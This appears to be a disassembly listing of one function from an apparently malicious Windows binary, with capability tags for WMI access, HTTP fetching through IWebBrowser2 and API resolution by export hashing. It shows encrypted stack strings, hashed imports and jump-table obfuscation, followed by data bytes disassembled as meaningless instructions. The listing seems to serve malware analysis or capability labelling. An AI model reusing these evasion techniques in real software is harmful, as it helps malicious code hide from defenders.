Function at 0x43f100
Capabilities:
Connect to wmi namespace via wbemlocator
Get http document via iwebbrowser2
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xa8
mov esi, dword [0x456b30]
mov dword [esp + 0x38], 0x61cb67bb
mov dword [esp + 0x3c], 0x5def63eb
mov dword [esp + 0x40], 0x59c15fd0
mov dword [esp + 0x44], 0x55e65bcf
mov dword [esp + 0x48], 0x51cd57c6
mov dword [esp + 0x4c], 0x4dcd53de
mov dword [esp + 0x50], 0x494e4f93
mov dword [esp + 0x7c], 0
mov eax, dword [esp + 0x7c]
cmp eax, 0x1b
ja 0x43f18b
nop
nop
mov eax, dword [esp + 0x7c]
movzx eax, byte [esp + eax + 0x38]
push dword [esp + 0x7c]
push eax
call fcn.00442f90
add esp, 8
mov ecx, dword [esp + 0x7c]
mov byte [esp + ecx + 0x38], al
inc dword [esp + 0x7c]
mov eax, dword [esp + 0x7c]
cmp eax, 0x1c
jb 0x43f160
lea eax, [esp + 0x8c]
lea edi, [esp + 0x7c]
lea ebx, [esp + 0x38]
push eax
push 8
push edi
push 0xd
push ebx
push 0
call esi
shr eax, 0x1f
jmp dword [eax*4 + 0x454248]
mov dword [esp + 0x7c], 0x3a0043
mov dword [esp + 0x80], 0x5c
mov dword [esp + 0x98], 0
mov dword [esp + 0x94], 0
mov dword [esp + 0x90], 0
mov dword [esp + 0x8c], 0
mov dword [esp + 0x20], 0
lea eax, [esp + 0x20]
push eax
push 0x44dcd0
push 1
push 0
push 0x44dce0
call dword [sym.imp.ole32.dll_CoCreateInstance]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x454250]
mov dword [esp + 0x38], 0x23fd21f2
mov dword [esp + 0x3c], 0x27f225fb
mov dword [esp + 0x40], 0x3bf93994
mov dword [esp + 0x44], 0x3fe33de5
mov dword [esp + 0x48], 0x33c031e6
mov dword [esp + 0x4c], 0x3534
mov byte [esp + 0x50], 0
mov dword [esp + 8], 0
mov eax, dword [esp + 8]
cmp eax, 0x18
ja 0x43f29b
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 8]
movzx eax, byte [esp + eax + 0x38]
push dword [esp + 8]
push eax
call fcn.00442ff0
add esp, 8
mov ecx, dword [esp + 8]
mov byte [esp + ecx + 0x38], al
inc dword [esp + 8]
mov eax, dword [esp + 8]
cmp eax, 0x19
jb 0x43f270
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, eax
mov eax, dword [esp + 0x20]
mov ecx, dword [eax]
lea edx, [esp + 0x34]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push esi
push eax
call dword [ecx + 0xc]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x454258]
jmp dword [0x4542bc]
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [esp + 0x50]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x454260]
mov dword [esp + 0x38], 0xcfbfc9a3
mov dword [esp + 0x3c], 0xc3c2cdb0
mov dword [esp + 8], 0
mov eax, dword [esp + 8]
cmp eax, 7
ja 0x43f34b
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 8]
movzx eax, byte [esp + eax + 0x38]
push dword [esp + 8]
push eax
call fcn.00443070
add esp, 8
mov ecx, dword [esp + 8]
mov byte [esp + ecx + 0x38], al
inc dword [esp + 8]
mov eax, dword [esp + 8]
cmp eax, 8
jb 0x43f320
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esp + 0x78], eax
mov dword [esp + 0x38], 0x81498759
mov dword [esp + 0x3c], 0x8d4d8354
mov dword [esp + 0x40], 0x89528f41
mov dword [esp + 0x44], 0x95608b68
mov dword [esp + 0x48], 0x91589774
mov dword [esp + 0x4c], 0x9d439342
mov dword [esp + 0x50], 0x997e9f4b
mov dword [esp + 0x54], 0x65319b41
mov dword [esp + 0x58], 0x619b67d2
mov dword [esp + 0x5c], 0x6dc36392
mov dword [esp + 0x60], 0x69a56fae
mov dword [esp + 0x64], 0x75b76bb9
mov word [esp + 0x68], 0x7774
mov dword [esp + 0x6a], 0
mov dword [esp + 8], 0
mov eax, dword [esp + 8]
cmp eax, 0x35
ja 0x43f40b
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 8]
movzx eax, byte [esp + eax + 0x38]
push dword [esp + 8]
push eax
call fcn.004430c0
add esp, 8
mov ecx, dword [esp + 8]
mov byte [esp + ecx + 0x38], al
inc dword [esp + 8]
mov eax, dword [esp + 8]
cmp eax, 0x36
jb 0x43f3e0
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov edi, dword [esp + 0x34]
mov ecx, dword [edi]
lea edx, [esp + 0x30]
push edx
push 0
push 0x30
mov dword [esp + 0xac], eax
push eax
push dword [esp + 0x88]
push edi
call dword [ecx + 0x50]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x454268]
jmp dword [0x454270]
test eax, eax
setns cl
cmp eax, 1
setne al
cmp dword [esp + 0x1c], 0
setne dl
and dl, al
and dl, cl
movzx eax, dl
jmp dword [eax*4 + 0x454280]
lea eax, [esp + 8]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov edi, dword [esp + 0x2c]
mov dword [esp + 0x38], 0x1fbb194f
mov dword [esp + 0x3c], 0x63cb1daa
mov dword [esp + 0x40], 0x67ca61c1
mov dword [esp + 0x44], 0x6bdf6536
mov dword [esp + 0x48], 0x6fc869c5
mov dword [esp + 0x4c], 0x73c46dc9
mov word [esp + 0x50], 0x7170
mov dword [esp + 0x52], 0
mov byte [esp + 0x56], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 0x1e
ja 0x43f4fb
nop
nop
nop
nop
nop
mov eax, dword [esp + 4]
movzx eax, byte [esp + eax + 0x38]
push dword [esp + 4]
push eax
call fcn.00443110
add esp, 8
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x38], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 0x1f
jb 0x43f4d0
mov eax, dword [edi]
push 0
push 0
lea ecx, [esp + 0x10]
push ecx
push 0
push ebx
push edi
call dword [eax + 0x10]
test eax, eax
setns al
cmp word [esp + 8], 8
sete cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x454288]
push dword [esp + 0x10]
call dword [sym.imp.OLEAUT32.dll_VariantInit]
mov edx, dword [esp + 0x10]
mov dword [esp + 0x28], eax
lea eax, [edx + eax*2]
mov dword [esp + 0x74], eax
movzx ecx, word [edx]
test cx, cx
mov dword [esp + 0x18], edx
je 0x43f58c
xor edi, edi
mov eax, edx
jmp 0x43f564
add edi, edx
movzx ecx, word [eax + 2]
add eax, 2
test cx, cx
lea ebx, [esp + 0x38]
je 0x43f58e
cmp eax, dword [esp + 0x74]
jae 0x43f58e
movzx ebx, cx
cmp ebx, 0x800
mov ecx, 3
sbb ecx, 0
mov edx, 1
cmp ebx, 0x80
jb 0x43f552
mov edx, ecx
jmp 0x43f552
xor edi, edi
lea eax, [edi + 1]
mov dword [esp + 0x70], eax
push eax
call fcn.0040cb60
add esp, 4
mov dword [esp + 0x24], eax
test edi, edi
mov ecx, dword [esp + 0x18]
jle 0x43f687
mov eax, dword [esp + 0x24]
cmp dword [esp + 0x28], 0
jle 0x43f687
mov eax, dword [esp + 0x24]
lea edx, [eax + edi]
mov dword [esp + 0x28], edx
add dword [esp + 0x70], eax
add ecx, 2
movzx edx, word [ecx - 2]
test dx, dx
je 0x43f687
cmp dx, 0x7f
ja 0x43f5eb
mov byte [eax], dl
mov ebx, 1
jmp 0x43f666
mov dword [esp + 0x18], ecx
mov ecx, eax
not ecx
add ecx, dword [esp + 0x70]
movzx ebx, dx
cmp ecx, 2
jb 0x43f625
cmp ebx, 0x7ff
ja 0x43f625
mov ecx, edx
shr ecx, 6
add cl, 0xc0
mov byte [eax], cl
and dl, 0x3f
or dl, 0x80
mov byte [eax + 1], dl
mov ebx, 2
mov ecx, dword [esp + 0x18]
jmp 0x43f666
mov dword [esp + 0x9c], ebx
xor ebx, ebx
cmp ecx, 3
mov ecx, dword [esp + 0x18]
jb 0x43f666
mov ebx, dword [esp + 0x9c]
mov ecx, ebx
shr ecx, 0xc
or cl, 0xe0
mov byte [eax], cl
mov ecx, dword [esp + 0x18]
shr ebx, 6
and bl, 0x3f
or bl, 0x80
mov byte [eax + 1], bl
and dl, 0x3f
or dl, 0x80
mov byte [eax + 2], dl
mov ebx, 3
add eax, ebx
cmp eax, dword [esp + 0x28]
jae 0x43f683
mov edx, ecx
add ecx, 2
cmp edx, dword [esp + 0x74]
lea ebx, [esp + 0x38]
jb 0x43f5cf
jmp 0x43f687
lea ebx, [esp + 0x38]
mov byte [eax], 0
add edi, 0xfffffffc
xor ecx, ecx
xor eax, eax
cmp ecx, 4
setb al
mov edx, dword [esp + 0x24]
jmp dword [eax*4 + 0x454290]
mov eax, dword [edx + ecx*4]
mov dword [esp + ecx*4 + 0x8c], eax
xor eax, eax
sub edi, 4
setb al
jmp dword [eax*4 + 0x454298]
inc ecx
xor eax, eax
cmp ecx, 4
setb al
jmp dword [eax*4 + 0x454290]
jmp dword [0x4542a0]
push edx
call fcn.0040cb70
add esp, 4
lea eax, [esp + 8]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esp + 0x2c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0x30]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [case.0x43f439.0]
nop
nop
nop
nop
jmp eax
mov edi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
push dword [esp + 0x78]
call edi
push dword [esp + 0xa0]
call edi
lea edi, [esp + 0x7c]
mov eax, dword [esp + 0x34]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp dword [0x4542bc]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
xor ecx, ecx
test edi, edi
setne cl
mov eax, edi
jmp dword [ecx*4 + 0x4542d8]
xor ecx, ecx
cmp dword [esp + edi*4 + 0x8c], 0
sete cl
mov eax, edi
jmp dword [ecx*4 + 0x4542e0]
lea eax, [edi - 1]
mov eax, dword [esp + eax*4 + 0x8c]
mov ecx, eax
and ecx, 0xffe5a7ba
mov edx, eax
and edx, 0x1a5845
or eax, 0x1a5845
imul eax, edx
xor edx, 0x1a5845
imul edx, ecx
add eax, edx
add eax, 0xebde8a13
mov dword [esp + edi*4 + 0x8c], eax
mov ebx, 0xfffffff7
push 0x10
push 9
push esi
push eax
call fcn.00435c10
add esp, 0x10
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [eax + ebx + 9], 0
lea ebx, [ebx + 1]
jne case.default.0x43f7e4
xor edx, edx
cmp ebx, 0
setne dl
xor ecx, ecx
jmp dword [edx*4 + 0x4542e8]
mov byte [eax + ecx - 1], 0x30
dec ecx
xor edx, edx
cmp ebx, ecx
setne dl
jmp dword [edx*4 + 0x4542e8]
add esi, 8
inc edi
xor eax, eax
cmp edi, 4
setb al
jmp dword [eax*4 + 0x4542d0]
push esi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x20]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push esi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x20]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp dword [0x4542c0]
mov dword [esp + 0x38], 0
push 0xd2e7977e
push dword [0x456b28]
call fcn.00448c90
add esp, 8
push 0
push 0
push 0
push 0
push ebx
push 0
push 0
push edi
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x4542c8]
mov esi, dword [ebp + 8]
mov eax, dword [esp + 0x38]
mov dword [esp + 0x8c], eax
xor edi, edi
xor eax, eax
cmp edi, 4
setb al
jmp dword [eax*4 + 0x4542d0]
mov dword [esp + 0x1c], 0
mov eax, dword [esp + 0x30]
mov ecx, dword [eax]
lea edx, [esp + 0x1c]
lea edi, [esp + 0x2c]
push edx
push edi
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
mov dword [esp + 0x1c], 0
mov eax, dword [esp + 0x30]
mov ecx, dword [eax]
lea edx, [esp + 0x1c]
lea edi, [esp + 0x2c]
push edx
push edi
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
jmp dword [0x45427c]
xor eax, eax
jmp 0x43fb5d
push 0x400
call fcn.00443210
add esp, 4
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x2c]
mov dword [ebp - 0x10], 0xfcfdfeff
mov dword [ebp - 0x24], 0
mov eax, dword [ebp - 0x24]
cmp eax, 3
ja 0x43f976
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp - 0x24]
movzx eax, byte [ebp + eax - 0x10]
push dword [ebp - 0x24]
push eax
call fcn.00442a70
add esp, 8
mov ecx, dword [ebp - 0x24]
mov byte [ebp + ecx - 0x10], al
inc dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
cmp eax, 4
jb 0x43f950
mov eax, dword [ebp - 0x10]
mov ecx, dword [0x456b34]
test ecx, ecx
je 0x43f9ca
mov dword [ebp - 0x14], ebx
xor edx, edx
mov ebx, dword [0x456b38]
nop
nop
cmp dword [ebx + edx*8], 0xa70a987f
je 0x43f9a0
inc edx
cmp ecx, edx
jne 0x43f990
jmp 0x43f9ca
mov ecx, dword [ebx + edx*8 + 4]
cmp ecx, eax
je 0x43f9ca
lea eax, [ebp - 0x24]
push 0x2f
push 0x400
push dword [ebp - 0x18]
push eax
push dword [ebp - 0x14]
push 5
push dword [0x456b3c]
push ecx
call fcn.00445e60
add esp, 0x20
mov ecx, dword [case.0x43f439.43]
jmp ecx
not eax
shr eax, 0x1f
xor ebx, ebx
mov dword [ebp - 0x14], 0
mov ecx, dword [ebp - 0x18]
jmp dword [eax*4 + 0x454318]
push ecx
call fcn.00443280
add esp, 4
mov esi, dword [ebp - 0x2c]
mov dword [ebp - 0x28], 0xfcfdfeff
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
cmp eax, 3
ja 0x43fa36
nop
nop
nop
nop
mov eax, dword [ebp - 0x10]
movzx eax, byte [ebp + eax - 0x28]
push dword [ebp - 0x10]
push eax
call fcn.00442a70
add esp, 8
mov ecx, dword [ebp - 0x10]
mov byte [ebp + ecx - 0x28], al
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp eax, 4
jb 0x43fa10
mov eax, dword [0x456b34]
test eax, eax
je 0x43fb58
mov ecx, dword [ebp - 0x28]
xor edx, edx
mov edi, dword [0x456b38]
nop
nop
cmp dword [edi + edx*8], 0x7e776f1
je 0x43fb3e
inc edx
cmp eax, edx
jne 0x43fa50
jmp 0x43fb58
xor eax, eax
cmp ebx, dword [ecx]
setb al
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x1c], esi
jmp dword [eax*4 + 0x454320]
mov ecx, esi
call fcn.00443690
inc ebx
xor eax, eax
mov ecx, dword [ebp - 0x18]
cmp ebx, dword [ecx]
setb al
jmp dword [eax*4 + 0x454320]
mov eax, dword [ecx + ebx*4 + 4]
mov dword [esi + 0xc], 0
mov dword [esi + 8], 0
mov dword [esi + 4], 0
mov dword [esi], 0
mov ecx, esi
push 0
push eax
call fcn.00443510
xor eax, eax
mov ecx, edi
neg ecx
sbb eax, dword [ebp + 0x10]
setl al
movzx eax, al
shl eax, 0x14
or eax, 1
mov ecx, esi
push eax
call fcn.00443530
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x454328]
mov esi, edi
mov edi, dword [ebp + 0x10]
jmp dword [0x454330]
test eax, eax
setns al
mov dword [ebp - 0x14], eax
mov edi, esi
mov esi, dword [ebp - 0x1c]
jmp case.0x43f439.48
mov ecx, dword [ebp - 0x1c]
push edi
push esi
push 0
call fcn.00443740
mov ecx, dword [ebp - 0x1c]
push edi
push esi
push 0
call fcn.00443740
jmp dword [0x45433c]
mov eax, dword [edi + edx*8 + 4]
cmp eax, ecx
je 0x43fb58
push esi
push 1
push dword [0x456b3c]
push eax
call fcn.00445e60
add esp, 0x10
mov eax, dword [ebp - 0x14]
and al, 1
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
test dword [ebx], case.0x43f439.1
mov bh, 0xf8
inc ebx
add byte [edi - 0x68ffbc08], dl
clc
inc ebx
add byte [esi - 0xc], al
inc ebx
add ch, bh
test byte [ebx], 0x67
hlt
test byte [ebx], 0x27
cmc
inc ebx
add cl, bl
test byte [ebx], 0xb0
test byte [ebx], 0xc9
test byte [ebx], 0xd9
test byte [ebx], 0xdf
test byte [ebx], 0xe8
test byte [ebx], 0x10
test dword [ebx], case.0x43f520.8
adc dh, bh
inc ebx
add byte [eax], dl
test dword [ebx], case.0x43f520.12
sub al, bh
inc ebx
add byte [edi], bh
clc
inc ebx
add byte [edi], dl
clc
inc ebx
add byte [ebx], bh
test dword [ebx], case.0x43f520.17
cmp esi, edi
inc ebx
add byte [eax - 9], dl
inc ebx
add byte [ecx - 9], bh
inc ebx
add byte [eax - 9], ah
inc ebx
add byte [ecx - 9], bh
inc ebx
add byte [esi - 9], dh
inc ebx
add byte [eax + edi*8], al
inc ebx
add al, dh
test dword [ebx], case.0x43f520.26
push ds
stc
inc ebx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [esi], bl
stc
inc ebx
add byte [ecx], al
add byte [eax], al
add al, dl
stc
inc ebx
add al, dl
stc
inc ebx
add al, dl
stc
inc ebx
add dl, dl
stc
inc ebx
add dl, ch
stc
inc ebx
add byte [edi - 6], ah
inc ebx
add dl, ch
stc
inc ebx
add byte [ecx - 0x7fffbc06], bl
cli
inc ebx
add bl, ch
cli
inc ebx
add byte [ebx + edi*8], ch
inc ebx
add byte [eax], ah
sti
inc ebx
add byte [eax], ah
sti
inc ebx
add byte [eax], al
sti
inc ebx
add byte [edi], dh
adc dword [eax + eax + 0x1c], eax
push cs
inc esp
add byte [ebp + 5], dl
inc esp
add byte [ebp - 0x4dffbbf3], al
adc dword [eax + eax - 0x7b], eax
or eax, 0xff70044
inc esp
add byte [ecx + 0x6f004413], bl
or dword [eax + eax + 0x1d], eax
or byte [eax + eax + 0x1d], al
or byte [eax + eax], al
cmove eax, dword [eax]
leave
or al, byte [eax + eax - 0x40]
adc eax, dword [eax + eax - 0x1f]
adc dword [eax + eax - 0xd], eax
adc eax, dword [eax + eax - 0x19]
pop es
inc esp
add cl, ah
adc dword [eax + eax + 0x53], eax
adc eax, dword [eax + eax - 2]
add eax, 0x101d0044
inc esp
add byte [esp + ecx], bl
inc esp
add byte [ecx + 0xe], bl
inc esp
add byte [esp + ecx], bl
inc esp
add byte [edi + eax + 0x44], bh
add dh, bh
add al, 0x44
add byte [ecx + 7], ch
inc esp
add dh, bh
add al, 0x44
add byte [ebx + 0x13], dl
inc esp
add byte [ebx + 0xc], dl
inc esp
add byte [ecx], dl
pop es
inc esp
add byte [ebx], cl
or al, byte [eax + eax + 0x11]
pop es
inc esp
add ch, al
adc dword [eax + eax - 0x72], eax
adc dword [eax + eax + 0x66], eax
or byte [eax + eax - 0x72], al
adc dword [eax + eax + 0x26], eax
or eax, dword [eax + eax - 0x69]
or eax, dword [eax + eax - 0x3c]
push es
inc esp
add al, bh
or dword [eax + eax + 0x40], eax
or byte [eax + eax - 0x3c], al
or byte [eax + eax + 0x74], al
or eax, dword [eax + eax - 0x42]
pop es
inc esp
add byte [ebx + ecx + 0x44], dh
add byte [ebx + edx], ch
inc esp
add byte [eax], al
push cs
inc esp
add byte [edi + 0x2b004407], dl
add eax, 0x52b0044
inc esp
add byte [ecx], ah
push es
inc esp
add byte [esi - 0x53ffbbf3], bl
cmove eax, dword [eax]
or cl, byte [eax]
inc esp
add cl, al
or eax, dword [eax + eax + 0x20]
adc dword [eax + eax + 0xa], eax
or byte [eax + eax + 0x5b], al
cmove eax, dword [eax]
stosd dword es:[edi], eax
or dword [eax + eax + 7], eax
or al, 0x44
add byte [ebx + 0x31004409], ch
push cs
inc esp
add dl, ch
add eax, 0x4d80044
inc esp
add byte [ecx], dh
push cs
inc esp
add byte [esi + 0xf], dh
inc esp
add byte [ebx + 7], al
inc esp
add byte [esi + 0xf], dh
inc esp
add byte [edi + 0x7600440e], dl
cmove eax, dword [eax]
ja 0x454471
inc esp
add dh, dl
push cs
inc esp
add byte [edx + 0xa], dl
inc esp
add bl, al
push cs
inc esp
add byte [edx + 0xa], dl
inc esp
add byte [ecx], ch
or eax, 0xbf40044
inc esp
add byte [esi + 0xc], dh
inc esp
add byte [ecx + 0x41004410], cl
push es
inc esp
add byte [esi + 0xc], dh
inc esp
add byte [ecx - 0xbffbbee], bl
or eax, dword [eax + eax + 0x54]
adc al, byte [eax + eax + 0x4c]
or eax, 0x104e0044
inc esp
add byte [ecx + 0x3004406], bl
or eax, dword [eax + eax + 0x35]
cmove eax, dword [eax]
or dword [esi], 0x12760044
inc esp
add bh, al
add eax, 0xc420044
inc esp
add byte [edx + 0xc], al
inc esp
add byte [edx + ecx + 0x13de0044], dh
inc esp
add byte [ecx], dh
adc al, byte [eax + eax - 0x22]
adc eax, dword [eax + eax - 0x3e]
adc al, byte [eax + eax + 0x76]
push es
inc esp
add bl, ch
or eax, 0xfcf0044
inc esp
add byte [ebp + 0xa], bh
inc esp
add byte [ebp + 0xa], bh
inc esp
add byte [esi + 5], bh
inc esp
add byte [eax + 0x6800440d], bh
or eax, 0x13190044
inc esp
add byte [eax - 0x2affbbf3], bh
adc al, byte [eax + eax - 0x58]
add eax, 0x115a0044
inc esp
add byte [edi], ah
or al, byte [eax + eax + 0x5a]
adc dword [eax + eax + 0x5f], eax
or al, byte [eax + eax + 0x20]
xor al, byte [eax + eax + 0x56]
xor al, byte [eax + eax + 0x77]
xor al, byte [eax + eax + 0x5d]
xor al, byte [eax + eax + 0x5d]
xor al, byte [eax + eax + 0x5d]
xor al, byte [eax + eax + 0x5d]
xor al, byte [eax + eax + 0x5d]
xor al, byte [eax + eax + 0x5d]
xor al, byte [eax + eax + 0x5d]
xor al, byte [eax + eax + 0x70]
xor al, byte [eax + eax + 0x70]
xor al, byte [eax + eax + 0x70]
xor al, byte [eax + eax + 0x72]
xor al, byte [eax + eax + 0x70]
xor al, byte [eax + eax + 0x2d]
xor eax, dword [eax + eax + 0x2d]
xor eax, dword [eax + eax + 0x2d]
xor eax, dword [eax + eax - 0x68]
xor al, byte [eax + eax + 0x2d]
xor eax, dword [eax + eax + 0x2d]
xor eax, dword [eax + eax + 0x2d]
xor eax, dword [eax + eax - 0x10]
xor al, byte [eax + eax - 0xa]
xor al, byte [eax + eax + 0x10]
xor eax, dword [eax + eax + 0x20]
xor eax, dword [eax + eax + 0x20]
xor eax, dword [eax + eax + 0x20]
xor eax, dword [eax + eax + 0x26]
xor eax, dword [eax + eax + 0x26]
xor eax, dword [eax + eax + 0x26]
xor eax, dword [eax + eax + 0x26]
xor eax, dword [eax + eax + 1]
add byte [eax], al
add byte [esi], ah
xor eax, dword [eax + eax - 4]
xor al, byte [eax + eax + 0x20]
xor eax, dword [eax + eax + 1]
add byte [eax], al
add bh, dh
jno 0x4545f2
add bh, dh
jno 0x4545f6
add byte [eax], ah
insb byte es:[edi], dx
dec ebx
add byte [edx + 0x6c], al
dec ebx
add byte [esp + ebp*2 + 0x4b], ah
add byte [esi + 0x74004b6c], al
jno 0x45460a
add byte [eax + 0x23004b6c], ch
jno 0x454612
add byte [ebp + 0x71], al
dec ebx
add byte [eax + 0x68004b71], ah
jo 0x45461e
add byte [edx - 0x40ffb490], cl
imul ecx, dword [ebx], 0xffffffac
jo 0x45462a
add bh, dh
jo 0x45462e
add byte [eax], al
insd dword es:[edi], dx
dec ebx
add byte [edx], ah
insd dword es:[edi], dx
dec ebx
add byte [ebp + ebp*2 + 0x4b], al
add byte [esi + 0x6d], ah
dec ebx
add byte [0xc8004b6f], bl
dec ebx
add al, cl
outsb dx, byte [esi]
dec ebx
add byte [eax - 0x2dffb493], dh
insd dword es:[edi], dx
dec ebx
add bl, ch
imul ecx, dword [ebx], 0xfffffff4
insd dword es:[edi], dx
dec ebx
add al, bl
jo 0x45465a
add byte [eax], dl
dec ebx
dec ebx
add byte [edx], dh
dec ebx
add dl, bl
imul ecx, dword [ebx], 0x4b69fc
push ds
dec ebx
add byte [esi], bl
push 0x4b
add byte [ebx], bh
imul ecx, dword [ebx], 0x76
push 0x4b
dec ebx
add byte [eax + 0x67004b6a], bl
imul ecx, dword [ebx], 0x54
dec ebx
dec ebx
add byte [edi + 0x6b], ah
dec ebx
add byte [edi + 0x4b], dl
add byte [esi + 0x67], dh
dec ebx
add byte [eax - 0x66ffb499], bl
imul ecx, dword [ebx], 0x4b6a4a
adc byte [eax + 0x4b], ch
add byte [edx], dh
push 0x6854004b
dec ebx
add byte [esi + 0x68], dh
dec ebx
add byte [ebx - 0x3bffb495], dl
dec ebx
add ah, al
push 0x4b
add byte [eax], al
imul ecx, dword [ebx], 0x4b6922
inc esp
imul ecx, dword [ebx], 0x4b6b0f
jecxz 0x4546dc
dec ebx
add ah, cl
jno 0x4546c2
add byte [eax - 0x8ffb493], cl
jno 0x4546ca
add byte [edi], bh
outsd dx, dword [esi]
dec ebx
add bh, dh
jno 0x4546d2
add bh, dh
jno 0x4546d6
add byte [eax + 0x66004b68], bl
imul ecx, dword [ebx], 0x4b71f7
div dword [ecx + 0x4b]
add dl, cl
insb byte es:[edi], dx
dec ebx
add bh, dh
jno 0x4546ee
add bh, dh
jno 0x4546f2
add bh, dh
jno 0x4546f6
add dl, ch
outsb dx, byte [esi]
dec ebx
add bh, dh
jno 0x4546fe
add byte [esi], dl
outsb dx, byte [esi]
dec ebx
add bh, dh
jno 0x454706
add bh, dh
jno 0x45470a
add bh, dh
jno 0x45470e
dec ebx
add bh, dh
jno 0x454712
add bh, dh
jno 0x454716
dec ebx
add byte [edi + 0x71], ah
dec ebx
add byte [ebp - 0x51ffb499], ch
imul ecx, dword [ebx], 0x4b71f7
dec ebx
add byte [esi - 0x8ffb497], ch
dec ebx
add bh, dh
jno 0x454726
add bh, dh
jno 0x45472a
div dword [ecx + 0x4b]
add bh, dh
jno 0x45472e
add byte [eax + 0x5a], bl
inc esp
add byte [eax + 0x5a], bl
inc esp
add byte [eax + 0x5a], bl
inc esp
add byte [eax + 0x5a], bl
inc esp
add byte [edx + ebx*2], bh
inc esp
add bl, bl
pop ecx
inc esp
add bl, bl
pop ecx
inc esp
add byte [edi + 0x5a], al
inc esp
add byte [eax + 0x5a], dl
inc esp
add cl, ch
pop ecx
inc esp
add byte [eax + 0x5a], dl
inc esp
add byte [eax + 0x32], dh
inc esp
add byte [eax + 0x32], dh
inc esp
add byte [eax + 0x32], dh
inc esp
add byte [edx + 0x32], dh
inc esp
add byte [esi], ah
xor eax, dword [eax + eax - 0x68]
xor al, byte [eax + eax - 4]
inc esp
add ah, bh
xor al, byte [eax + eax + 0x10]
inc esp
add byte [eax], dl
xor eax, dword [eax + eax + 0x10]
inc esp
add byte [eax], dl
xor eax, dword [eax + eax + 0x20]
xor eax, dword [eax + eax + 0x20]
xor eax, dword [eax + eax + 0x20]
xor eax, dword [eax + eax + 0x26]
xor eax, dword [eax + eax + 0x20]
xor eax, dword [eax + eax + 1]
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [esi], ah
xor eax, dword [eax + eax + 0x49]
push ebx
out dx, eax
xor esi, dword [edi - 0x38af07c7]
and cl, 0xdd
movsb byte es:[edi], byte [esi]
mov edi, 0x6c204896
dec eax
and byte [ebx + ecx*2], ch
adc byte [edi + 0x4b], ah
add byte [eax], ch
or edi, ecx
jmp 0x90b3ba